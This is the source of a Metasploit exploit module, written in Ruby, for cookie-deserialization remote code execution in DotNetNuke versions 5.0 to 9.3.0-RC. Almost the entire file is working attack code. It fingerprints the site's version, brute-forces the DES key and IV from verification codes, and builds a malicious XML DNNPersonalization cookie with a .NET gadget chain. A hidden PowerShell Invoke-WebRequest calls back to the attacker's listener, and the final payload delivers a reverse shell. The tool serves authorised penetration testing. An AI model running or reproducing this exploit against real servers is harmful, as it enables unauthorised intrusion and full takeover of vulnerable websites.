809 lines
28 KiB
Ruby
809 lines
28 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'openssl'
|
|
require 'set'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Powershell
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
# ==================================
|
|
# Override the setup method to allow
|
|
# for delayed handler start
|
|
# ===================================
|
|
def setup
|
|
# Reset the session counts to zero.
|
|
reset_session_counts
|
|
|
|
return if !payload_instance
|
|
return if !handler_enabled?
|
|
|
|
# Configure the payload handler
|
|
payload_instance.exploit_config = {
|
|
'active_timeout' => active_timeout
|
|
}
|
|
|
|
# payload handler is normally set up and started here
|
|
# but has been removed so we can start the handler when needed.
|
|
end
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'DotNetNuke Cookie Deserialization Remote Code Excecution',
|
|
'Description' => %q{
|
|
This module exploits a deserialization vulnerability in DotNetNuke (DNN) versions 5.0.0 to 9.3.0-RC.
|
|
Vulnerable versions store profile information for users in the DNNPersonalization cookie as XML.
|
|
The expected structure includes a "type" attribute to instruct the server which type of object to create on deserialization.
|
|
The cookie is processed by the application whenever it attempts to load the current user's profile data.
|
|
This occurs when DNN is configured to handle 404 errors with its built-in error page (default configuration).
|
|
An attacker can leverage this vulnerability to execute arbitrary code on the system.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [ 'Jon Park', 'Jon Seigel' ],
|
|
'References' => [
|
|
[ 'CVE', '2017-9822' ],
|
|
[ 'CVE', '2018-15811'],
|
|
[ 'CVE', '2018-15812'],
|
|
[ 'CVE', '2018-18325'], # due to failure to patch CVE-2018-15811
|
|
[ 'CVE', '2018-18326'], # due to failure to patch CVE-2018-15812
|
|
[ 'URL', 'https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf'],
|
|
[ 'URL', 'https://googleprojectzero.blogspot.com/2017/04/exploiting-net-managed-dcom.html'],
|
|
[ 'URL', 'https://github.com/pwntester/ysoserial.net']
|
|
],
|
|
'Platform' => 'win',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Targets' => [
|
|
[ 'Automatic', { 'auto' => true } ],
|
|
[ 'v5.0 - v9.0.0', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
|
|
[ 'v9.0.1 - v9.1.1', { 'ReqEncrypt' => false, 'ReqSession' => false } ],
|
|
[ 'v9.2.0 - v9.2.1', { 'ReqEncrypt' => true, 'ReqSession' => true } ],
|
|
[ 'v9.2.2 - v9.3.0-RC', { 'ReqEncrypt' => true, 'ReqSession' => true } ]
|
|
],
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2017-07-20',
|
|
'DefaultOptions' => { 'WfsDelay' => 5 },
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
)
|
|
)
|
|
|
|
deregister_options('SRVHOST')
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('TARGETURI', [true, 'The path that will result in the DNN 404 response', '/__']),
|
|
OptBool.new('DryRun', [false, 'Performs target version check, finds encryption KEY and IV values if required, and outputs a cookie payload', false]),
|
|
OptString.new('VERIFICATION_PLAIN', [
|
|
false, %q(The known (full or partial) plaintext of the encrypted verification code.
|
|
Typically in the format of {portalID}-{userID} where portalID is an integer and userID is either an integer or GUID (v9.2.2+)), ''
|
|
]),
|
|
OptBool.new('ENCRYPTED', [
|
|
true, %q{Whether or not to encrypt the final payload cookie;
|
|
(VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV) are required if set to true.}, false
|
|
]),
|
|
OptString.new('KEY', [false, 'The key to use for encryption.', '']),
|
|
OptString.new('IV', [false, 'The initialization vector to use for encryption.', '']),
|
|
OptString.new('SESSION_TOKEN', [
|
|
false, %q{The .DOTNETNUKE session cookie to use when submitting the payload to the target server.
|
|
DNN versions 9.2.0+ require the attack to be submitted from an authenticated context.}, ''
|
|
]),
|
|
OptString.new('VERIFICATION_CODE', [
|
|
false, %q{The encrypted verification code received in a registration email.
|
|
Can also be the path to a file containing a list of verification codes.}, ''
|
|
])
|
|
]
|
|
)
|
|
|
|
initialize_instance_variables
|
|
end
|
|
|
|
def initialize_instance_variables
|
|
# ==================
|
|
# COMMON VARIABLES
|
|
# ==================
|
|
|
|
@target_idx = 0
|
|
|
|
# Flag for whether or not to perform exploitation
|
|
@dry_run = false
|
|
|
|
# Flag for whether or not the target requires encryption
|
|
@encrypted = false
|
|
|
|
# Flag for whether or not to attempt to decrypt the provided verification token(s)
|
|
@try_decrypt = false
|
|
|
|
# ==================
|
|
# PAYLOAD VARIABLES
|
|
# ==================
|
|
|
|
@cr_regex = /(?<=Copyright \(c\) 2002-)(\d{4})/
|
|
|
|
# ==================
|
|
# v9.1.1+ VARIABLES
|
|
# ==================
|
|
|
|
@key_charset = '02468ABDF'
|
|
@verification_codes = []
|
|
|
|
@iv_regex = /[0-9A-F]{8}/
|
|
|
|
# Known plaintext
|
|
@kpt = ''
|
|
|
|
# Encryption objects
|
|
@decryptor = OpenSSL::Cipher.new('des')
|
|
@decryptor.decrypt
|
|
|
|
@encryptor = OpenSSL::Cipher.new('des')
|
|
@encryptor.encrypt
|
|
|
|
# final passphrase (key +iv) to use for payload (v9.1.1+)
|
|
@passphrase = ''
|
|
|
|
# ==================
|
|
# v9.2.0+ VARIABLES
|
|
# ==================
|
|
|
|
# Session token needed for exploitation (v9.2.0+)
|
|
@session_token = ''
|
|
|
|
# ==================
|
|
# v9.2.2+ VARIABLES
|
|
# ==================
|
|
|
|
# User ID format (v9.2.2+)
|
|
# Number of characters of user ID available in plaintext
|
|
# is equal to the length of a GUID (no spaces or dashes)
|
|
# minus (blocksize - known plaintext length).
|
|
@user_id_pt_length = 32 - (8 - @kpt.length)
|
|
@user_id_regex = /[0-9a-f]{#{@user_id_pt_length}}/
|
|
|
|
# Plaintext found from decryption (v9.2.2+)
|
|
@found_pt = ''
|
|
|
|
@iv_charset = '0123456789abcdef'
|
|
|
|
# Possible IVs used to encrypt verification codes (v9.2.2+)
|
|
@possible_ivs = Set.new([])
|
|
|
|
# Possible keys used to encrypt verification codes (v9.2.2+)
|
|
@possible_keys = Set.new([])
|
|
|
|
# passphrases (key + iv) values to use for payload encryption (v9.2.2+)
|
|
@passphrases = []
|
|
|
|
# char sets to use when generating possible base keys
|
|
@unchanged = Set.new([65, 70])
|
|
end
|
|
|
|
def decode_verification(code)
|
|
# Decode verification code base don DNN format
|
|
return String.new(
|
|
Rex::Text.decode_base64(
|
|
code.chomp.gsub('.', '+').gsub('-', '/').gsub('_', '=')
|
|
)
|
|
)
|
|
end
|
|
|
|
# ==============
|
|
# Main function
|
|
# ==============
|
|
def exploit
|
|
return unless check == Exploit::CheckCode::Appears
|
|
|
|
@encrypted = datastore['ENCRYPTED']
|
|
verification_code = datastore['VERIFICATION_CODE']
|
|
if File.file?(verification_code)
|
|
File.readlines(verification_code).each do |code|
|
|
@verification_codes.push(decode_verification(code))
|
|
end
|
|
else
|
|
@verification_codes.push(decode_verification(verification_code))
|
|
end
|
|
|
|
@kpt = datastore['VERIFICATION_PLAIN']
|
|
|
|
@session_token = datastore['SESSION_TOKEN']
|
|
@dry_run = datastore['DryRun']
|
|
key = datastore['KEY']
|
|
iv = datastore['IV']
|
|
|
|
if target['ReqEncrypt'] && @encrypted == false
|
|
print_warning('Target requires encrypted payload. Exploit may not succeed.')
|
|
end
|
|
|
|
if @encrypted
|
|
# Requires either supplied key and IV, or verification code and plaintext
|
|
if !key.blank? && !iv.blank?
|
|
@passphrase = key + iv
|
|
# Key and IV were supplied, don't try and decrypt.
|
|
@try_decrypt = false
|
|
elsif !@verification_codes.empty? && !@kpt.blank?
|
|
@try_decrypt = true
|
|
else
|
|
fail_with(Failure::BadConfig, 'You must provide either (VERIFICATION_CODE and VERIFICATION_PLAIN) or (KEY and IV).')
|
|
end
|
|
end
|
|
|
|
if target['ReqSession'] && @session_token.blank?
|
|
fail_with(Failure::BadConfig, 'Target requires a valid SESSION_TOKEN for exploitation.')
|
|
end
|
|
|
|
if @encrypted && @try_decrypt
|
|
# Set IV for decryption as the known plaintext, manually
|
|
# apply PKCS padding (N bytes of N), and disable padding on the decryptor to increase speed.
|
|
# For v9.1.1 - v9.2.1 this will find the valid KEY and IV value in real time.
|
|
# For v9.2.2+ it will find an initial base key faster than if padding were enabled.
|
|
f8_plain = @kpt[0, 8]
|
|
c_iv = f8_plain.unpack('C*') + [8 - f8_plain.length] * (8 - f8_plain.length)
|
|
@decryptor.iv = String.new(c_iv.pack('C*'))
|
|
@decryptor.padding = 0
|
|
|
|
key = find_key(@verification_codes[0])
|
|
if key.blank?
|
|
return
|
|
end
|
|
|
|
if @target_idx == 4
|
|
# target is v9.2.2+, requires base64 generated key and IV values.
|
|
generate_base_keys(0, key.each_byte.to_a, '')
|
|
vprint_status("Generated #{@possible_keys.size} possible base KEY values from #{key}")
|
|
|
|
# re-enable padding here as it doesn't have the
|
|
# same performance impact when trying to find possible IV values.
|
|
@decryptor.padding = 1
|
|
|
|
print_warning('Finding possible base IVs. This may take a few minutes...')
|
|
start = Time.now
|
|
find_ivs(@verification_codes, key)
|
|
elapsed = Time.now - start
|
|
vprint_status(
|
|
format(
|
|
'Found %<n_ivs>d potential Base IV values using %<n_codes>d '\
|
|
'verification codes in %<e_time>.2f seconds.',
|
|
n_ivs: @possible_ivs.size,
|
|
n_codes: @verification_codes.size,
|
|
e_time: elapsed.to_s
|
|
)
|
|
)
|
|
|
|
generate_payload_passphrases
|
|
vprint_status(format('Generated %<n_phrases>d possible base64 KEY and IV combinations.', n_phrases: @passphrases.size))
|
|
end
|
|
|
|
if @passphrase.blank?
|
|
# test all generated passphrases by
|
|
# sending an exploit payload to the target
|
|
# that will callback to an HTTP listener
|
|
# with the index of the passphrase that worked.
|
|
|
|
# set SRVHOST as LHOST value for HTTPServer mixin
|
|
datastore['SRVHOST'] = datastore['LHOST']
|
|
print_warning('Trying all possible KEY and IV combinations...')
|
|
print_status("Starting HTTP listener on port #{datastore['SRVPORT']}...")
|
|
start_service
|
|
begin
|
|
vprint_warning("Sending #{@passphrases.count} test Payload(s) to: #{normalize_uri(target_uri.path)}. This may take a few minutes ...")
|
|
|
|
test_passphrases
|
|
|
|
# If no working passphrase has been found,
|
|
# wait to allow the chance for the last one to callback.
|
|
if @passphrase.empty? && !@dry_run
|
|
sleep(wfs_delay)
|
|
end
|
|
ensure
|
|
cleanup_service
|
|
end
|
|
|
|
print "\r\n"
|
|
if !@passphrase.empty?
|
|
print_good("KEY: #{@passphrase[0, 8]} and IV: #{@passphrase[8..]} found")
|
|
end
|
|
end
|
|
end
|
|
send_exploit_payload
|
|
end
|
|
|
|
# =====================
|
|
# For the check command
|
|
# =====================
|
|
def check
|
|
if target.name == 'Automatic'
|
|
select_target
|
|
end
|
|
|
|
@target_idx = Integer(datastore['TARGET'])
|
|
|
|
if @target_idx == 0
|
|
fail_with(Failure::NoTarget, 'No valid target found or specified.')
|
|
end
|
|
|
|
# Check if 404 page is custom or not.
|
|
# Vulnerability requires custom 404 handling (enabled by default).
|
|
uri = normalize_uri(target_uri.path)
|
|
print_status("Checking for custom error page at: #{uri} ...")
|
|
res = send_request_cgi(
|
|
'uri' => uri
|
|
)
|
|
|
|
if res.code == 404 && !res.body.include?('Server Error') && res.to_s.length > 1600
|
|
print_good('Custom error page detected.')
|
|
else
|
|
print_error('IIS Error Page detected.')
|
|
return Exploit::CheckCode::Safe('Target is not vulnerable')
|
|
end
|
|
return Exploit::CheckCode::Appears('Target appears to be vulnerable')
|
|
end
|
|
|
|
# ===========================
|
|
# Auto-select target version
|
|
# ===========================
|
|
def select_target
|
|
print_status('Trying to determine DNN Version...')
|
|
# Check for copyright version in /Documentation/license.txt
|
|
uri = %r{^(.*[\\/])}.match(target_uri.path)[0]
|
|
vprint_status("Checking version at #{normalize_uri("#{uri}Documentation", 'License.txt')} ...")
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri("#{uri}Documentation", 'License.txt')
|
|
)
|
|
year = -1
|
|
if res && res.code == 200
|
|
# License page found, get latest copyright year.
|
|
matches = @cr_regex.match(res.body)
|
|
if matches
|
|
year = matches[0].to_i
|
|
end
|
|
else
|
|
vprint_status("Checking version at #{uri} ...")
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(uri)
|
|
)
|
|
if res && res.code == 200
|
|
# Check if copyright info is in page HTML.
|
|
matches = @cr_regex.match(res.body)
|
|
if matches
|
|
year = matches[0].to_i
|
|
end
|
|
end
|
|
end
|
|
|
|
if year >= 2018
|
|
print_warning(
|
|
%q{DNN Version Found: v9.2.0+ - Requires ENCRYPTED and SESSION_TOKEN.
|
|
Setting target to 3 (v9.2.0 - v9.2.1). Site may also be 9.2.2.
|
|
Try setting target 4 and supply a file of of verification codes or specifiy valid Key and IV values."}
|
|
)
|
|
datastore['TARGET'] = 3
|
|
elsif year == 2017
|
|
print_warning('DNN Version Found: v9.0.1 - v9.1.1 - May require ENCRYPTED')
|
|
datastore['TARGET'] = 2
|
|
elsif year < 2017 && year > 2008
|
|
print_good('DNN Version Found: v5.1.0 - v9.0.1')
|
|
datastore['TARGET'] = 1
|
|
elsif year == 2008
|
|
print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')
|
|
datastore['TARGET'] = 1
|
|
else
|
|
print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')
|
|
end
|
|
end
|
|
|
|
# ==============================
|
|
# Known plaintext attack to
|
|
# brute-force the encryption key
|
|
# ==============================
|
|
def find_key(cipher_text)
|
|
print_status('Finding Key...')
|
|
|
|
# Counter
|
|
total_keys = @key_charset.length**8
|
|
i = 1
|
|
|
|
# Set start time
|
|
start = Time.now
|
|
|
|
# First char
|
|
@key_charset.each_byte do |a|
|
|
key = a.chr
|
|
# 2
|
|
@key_charset.each_byte do |b|
|
|
key[1] = b.chr
|
|
# 3
|
|
@key_charset.each_byte do |c|
|
|
key[2] = c.chr
|
|
# 4
|
|
@key_charset.each_byte do |d|
|
|
key[3] = d.chr
|
|
# 5
|
|
@key_charset.each_byte do |e|
|
|
key[4] = e.chr
|
|
# 6
|
|
@key_charset.each_byte do |f|
|
|
key[5] = f.chr
|
|
# 7
|
|
@key_charset.each_byte do |g|
|
|
key[6] = g.chr
|
|
# 8
|
|
@key_charset.each_byte do |h|
|
|
key[7] = h.chr
|
|
if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))
|
|
elapsed = Time.now - start
|
|
print_search_status(i, elapsed, total_keys)
|
|
print_line
|
|
if @target_idx == 4
|
|
print_good("Possible Base Key Value Found: #{key}")
|
|
else
|
|
print_good("KEY Found: #{key}")
|
|
print_good("IV Found: #{@passphrase[8..]}")
|
|
end
|
|
vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
|
|
vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))
|
|
return String.new(key)
|
|
end
|
|
# Print timing info every 5 million attempts
|
|
if i % 5000000 == 0
|
|
print_search_status(i, Time.now - start, total_keys)
|
|
end
|
|
i += 1
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
end
|
|
elapsed = Time.now - start
|
|
print_search_status(i, elapsed, total_keys)
|
|
print_line
|
|
print_error('Key not found')
|
|
vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))
|
|
vprint_status(format('Time run: %<r_time>.3f seconds', r_time: elapsed.to_s))
|
|
return nil
|
|
end
|
|
|
|
# ==================================
|
|
# Attempt to decrypt a ciphertext
|
|
# and obtain the IV at the same time
|
|
# ==================================
|
|
def decrypt_data_and_iv(cipher, cipher_text, key)
|
|
cipher.key = key
|
|
begin
|
|
plaintext = cipher.update(cipher_text) + cipher.final
|
|
if @target_idx == 4
|
|
# Target is v9.2.2+
|
|
user_id = plaintext[8, @user_id_pt_length]
|
|
if @user_id_regex.match(user_id)
|
|
return true
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
# This should only execute if the version is 9.1.1 - 9.2.1
|
|
iv = plaintext[0, 8]
|
|
if !@iv_regex.match(iv)
|
|
return false
|
|
end
|
|
|
|
# Build encryption passphrase as DNN does.
|
|
@passphrase = key + iv
|
|
|
|
# Encrypt the plaintext value using the discovered key and IV
|
|
# and compare with the initial ciphertext
|
|
if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)
|
|
@passphrases.push(String.new(key + iv))
|
|
return true
|
|
end
|
|
rescue StandardError
|
|
# Ignore decryption errors to allow execution to continue
|
|
return false
|
|
end
|
|
return false
|
|
end
|
|
|
|
def print_search_status(num_tries, elapsed, max_tries)
|
|
msg = format('Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.', s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)
|
|
print("\r%bld%blu[*]%clr #{msg}")
|
|
end
|
|
|
|
# ===========================
|
|
# Encrypt data using the same
|
|
# pattern that DNN uses.
|
|
# ===========================
|
|
def encrypt_data(cipher, message, passphrase)
|
|
cipher.key = passphrase[0, 8]
|
|
cipher.iv = passphrase[8, 8]
|
|
return cipher.update(message) + cipher.final
|
|
end
|
|
|
|
# ===============================================
|
|
# Generate all possible base key values
|
|
# used to create the final passphrase in v9.2.2+.
|
|
# DES weakness allows multiple bytes to be
|
|
# interpreted as the same value.
|
|
# ===============================================
|
|
def generate_base_keys(pos, from_key, new_key)
|
|
if !@unchanged.include? from_key[pos]
|
|
if from_key[pos].even?
|
|
new_key[pos] = (from_key[pos] + 1).chr
|
|
else
|
|
new_key[pos] = (from_key[pos] - 1).chr
|
|
end
|
|
|
|
if new_key.length == 8
|
|
@possible_keys.add(String.new(new_key))
|
|
|
|
# also add key with original value
|
|
new_key[pos] = (from_key[pos]).chr
|
|
@possible_keys.add(String.new(new_key))
|
|
else
|
|
generate_base_keys(pos + 1, from_key, String.new(new_key))
|
|
|
|
# also generate keys with original value
|
|
new_key[pos] = (from_key[pos]).chr
|
|
generate_base_keys(pos + 1, from_key, String.new(new_key))
|
|
end
|
|
else
|
|
new_key[pos] = (from_key[pos]).chr
|
|
if new_key.length == 8
|
|
@possible_keys.add(String.new(new_key))
|
|
else
|
|
generate_base_keys(pos + 1, from_key, String.new(new_key))
|
|
end
|
|
end
|
|
end
|
|
|
|
# ==============================================
|
|
# Find all possible base IV values
|
|
# used to create the final Encryption passphrase
|
|
# ==============================================
|
|
def find_ivs(cipher_texts, key)
|
|
num_chars = 8 - @kpt.length
|
|
f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/
|
|
|
|
@decryptor.key = key
|
|
found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final
|
|
# Find all possible IVs for the first ciphertext
|
|
brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..])
|
|
|
|
# Reduce IV set by testing against other ciphertexts
|
|
cipher_texts.drop(1).each do |cipher_text|
|
|
@possible_ivs.each do |iv|
|
|
@decryptor.iv = iv
|
|
pt = @decryptor.update(cipher_text) + @decryptor.final
|
|
if !f8regex.match(pt[0, 8])
|
|
@possible_ivs.delete(iv)
|
|
end
|
|
end
|
|
end
|
|
end
|
|
|
|
# ==========================================
|
|
# A recursive function to find all
|
|
# possible valid IV values using brute-force
|
|
# ==========================================
|
|
def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)
|
|
charset = '0123456789abcdef'
|
|
if num_chars_needed == 0
|
|
@decryptor.key = key
|
|
@decryptor.iv = pt_prefix
|
|
pt = @decryptor.update(cipher_text) + @decryptor.final
|
|
iv = pt[0, 8]
|
|
if @iv_regex.match(iv)
|
|
pt = pt_prefix + found_pt
|
|
if encrypt_data(@encryptor, pt, key + iv) == cipher_text
|
|
@possible_ivs.add(String.new(iv))
|
|
end
|
|
end
|
|
return
|
|
end
|
|
charset.length.times do |i|
|
|
brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)
|
|
end
|
|
end
|
|
|
|
# ========================================
|
|
# Generate all possible payload encryption
|
|
# passphrases for a v9.2.2+ target
|
|
# ========================================
|
|
def generate_payload_passphrases
|
|
phrases = Set.new(@passphrases)
|
|
@possible_keys.each do |key|
|
|
@possible_ivs.each do |iv|
|
|
phrase = Rex::Text.encode_base64(
|
|
encrypt_data(@encryptor, key + iv, key + iv)
|
|
)
|
|
phrases.add(String.new(phrase[0, 16]))
|
|
end
|
|
end
|
|
@passphrases = phrases.to_a
|
|
end
|
|
|
|
# ===========================================
|
|
# Test all generated passphrases by initializing
|
|
# an HTTP server to listen for a callback that
|
|
# contains the index of the successful passphrase.
|
|
# ===========================================
|
|
def test_passphrases
|
|
for i in 0..@passphrases.size - 1
|
|
# Stop sending if we've found the passphrase
|
|
if !@passphrase.empty?
|
|
break
|
|
end
|
|
|
|
msg = format('Trying KEY and IV combination %<current>d of %<total>d...', current: i + 1, total: @passphrases.size)
|
|
print("\r%bld%blu[*]%clr #{msg}")
|
|
|
|
url = "#{get_uri}?#{get_resource.delete('/')}=#{i}"
|
|
payload = create_request_payload(url)
|
|
cookie = create_cookie(payload)
|
|
|
|
# Encrypt cookie value
|
|
enc_cookie = Rex::Text.encode_base64(
|
|
encrypt_data(@encryptor, cookie, @passphrases[i])
|
|
)
|
|
if @dry_run
|
|
print_line
|
|
print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
|
|
print_warning("Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...")
|
|
print_line(enc_cookie)
|
|
break
|
|
end
|
|
execute_command(enc_cookie, host: datastore['RHOST'])
|
|
end
|
|
end
|
|
|
|
# ===============================
|
|
# Request handler for HTTP server.
|
|
# ==============================
|
|
def on_request_uri(cli, request)
|
|
# Send 404 to prevent scanner detection
|
|
send_not_found(cli)
|
|
|
|
# Get found index - should be the only query string parameter
|
|
if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]
|
|
index = request.qstring[get_resource.delete('/').to_s].to_i
|
|
@passphrase = String.new(@passphrases[index])
|
|
end
|
|
end
|
|
|
|
# ==============================================
|
|
# Create payload to callback to the HTTP server.
|
|
# Note: This technically exploits the
|
|
# vulnerability, but provides a way to determine
|
|
# the valid passphrase needed to exploit again.
|
|
# ==============================================
|
|
def create_request_payload(url)
|
|
# Package payload into serialized object
|
|
payload_object = ::Msf::Util::DotNetDeserialization.generate(
|
|
"powershell.exe -nop -w hidden -noni -Command \"Invoke-WebRequest '#{url}'\"",
|
|
gadget_chain: :TypeConfuseDelegate,
|
|
formatter: :LosFormatter
|
|
)
|
|
|
|
b64_payload = Rex::Text.encode_base64(payload_object)
|
|
return b64_payload
|
|
end
|
|
|
|
# =================================
|
|
# Creates the payload cookie
|
|
# using the specified payload
|
|
# =================================
|
|
def create_cookie(payload)
|
|
cookie = '<profile>'\
|
|
'<item key="k" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, '\
|
|
'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],'\
|
|
'[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, '\
|
|
'Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, '\
|
|
'Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">'\
|
|
'<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\
|
|
'<ProjectedProperty0>'\
|
|
'<MethodName>Deserialize</MethodName>'\
|
|
'<MethodParameters>'\
|
|
'<anyType xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\
|
|
'xmlns:d="http://www.w3.org/2001/XMLSchema" i:type="d:string" '\
|
|
">#{payload}</anyType>"\
|
|
'</MethodParameters>'\
|
|
'<ObjectInstance xmlns:i="http://www.w3.org/2001/XMLSchema-instance" '\
|
|
'i:type="ObjectStateFormatter" />'\
|
|
'</ProjectedProperty0>'\
|
|
'</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\
|
|
'</item>'\
|
|
'</profile>'
|
|
return cookie
|
|
end
|
|
|
|
# =========================================
|
|
# Send the payload to the target server.
|
|
# =========================================
|
|
def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })
|
|
uri = normalize_uri(target_uri.path)
|
|
|
|
res = send_request_cgi(
|
|
'uri' => uri,
|
|
'cookie' => ".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};"
|
|
)
|
|
if !res
|
|
fail_with(Failure::Unreachable, "#{opts[:host]} - target unreachable.")
|
|
elsif res.code == 404
|
|
return true
|
|
elsif res.code == 400
|
|
fail_with(Failure::BadConfig, "#{opts[:host]} - payload resulted in a bad request - #{res.body}")
|
|
else
|
|
fail_with(Failure::Unknown, "#{opts[:host]} - Something went wrong- #{res.body}")
|
|
end
|
|
end
|
|
|
|
# ======================================
|
|
# Create and send final exploit payload
|
|
# to obtain a reverse shell.
|
|
# ======================================
|
|
def send_exploit_payload
|
|
cmd_payload = create_payload
|
|
cookie_payload = create_cookie(cmd_payload)
|
|
if @encrypted
|
|
if @passphrase.blank?
|
|
print_error('Target requires encrypted payload, but a passphrase was not found or specified.')
|
|
return
|
|
end
|
|
cookie_payload = Rex::Text.encode_base64(
|
|
encrypt_data(@encryptor, cookie_payload, @passphrase)
|
|
)
|
|
end
|
|
if @dry_run
|
|
print_warning('DryRun enabled. No exploit payloads have been sent to the target.')
|
|
print_warning('Printing exploit cookie payload...')
|
|
print_line(cookie_payload)
|
|
return
|
|
end
|
|
|
|
# Set up the payload handlers
|
|
payload_instance.setup_handler
|
|
|
|
# Start the payload handler
|
|
payload_instance.start_handler
|
|
|
|
print_status("Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...")
|
|
execute_command(cookie_payload, host: datastore['RHOST'])
|
|
end
|
|
|
|
# ===================================
|
|
# Create final exploit payload based on
|
|
# supplied payload options.
|
|
# ===================================
|
|
def create_payload
|
|
# Create payload
|
|
payload_object = ::Msf::Util::DotNetDeserialization.generate(
|
|
cmd_psh_payload(
|
|
payload.encoded,
|
|
payload_instance.arch.first,
|
|
remove_comspec: true, encode_final_payload: false
|
|
),
|
|
gadget_chain: :TypeConfuseDelegate,
|
|
formatter: :LosFormatter
|
|
)
|
|
|
|
b64_payload = Rex::Text.encode_base64(payload_object)
|
|
vprint_status('Payload Object Created.')
|
|
return b64_payload
|
|
end
|
|
end
|